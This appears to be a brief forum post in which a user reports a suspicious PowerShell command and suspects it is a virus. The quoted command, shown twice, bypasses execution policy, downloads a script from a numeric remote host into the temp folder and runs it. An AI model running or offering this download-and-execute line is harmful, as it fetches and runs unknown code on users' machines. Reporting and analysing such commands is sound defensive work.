A suspicious PowerShell script downloaded and executed via irm

[yangshu]

Guys, I found a suspicious command
powershell -ExecutionPolicy Bypass "irm 35387519/123 -OutFile $env:temp\123.ps1 -UseBasicParsing;& $env:temp\123.ps1"powershell -ExecutionPolicy Bypass “irm 35387519/123 -OutFile $env:temp\123.ps1 -UseBasicParsing;& $env:temp\123.ps1”
It looks like a virus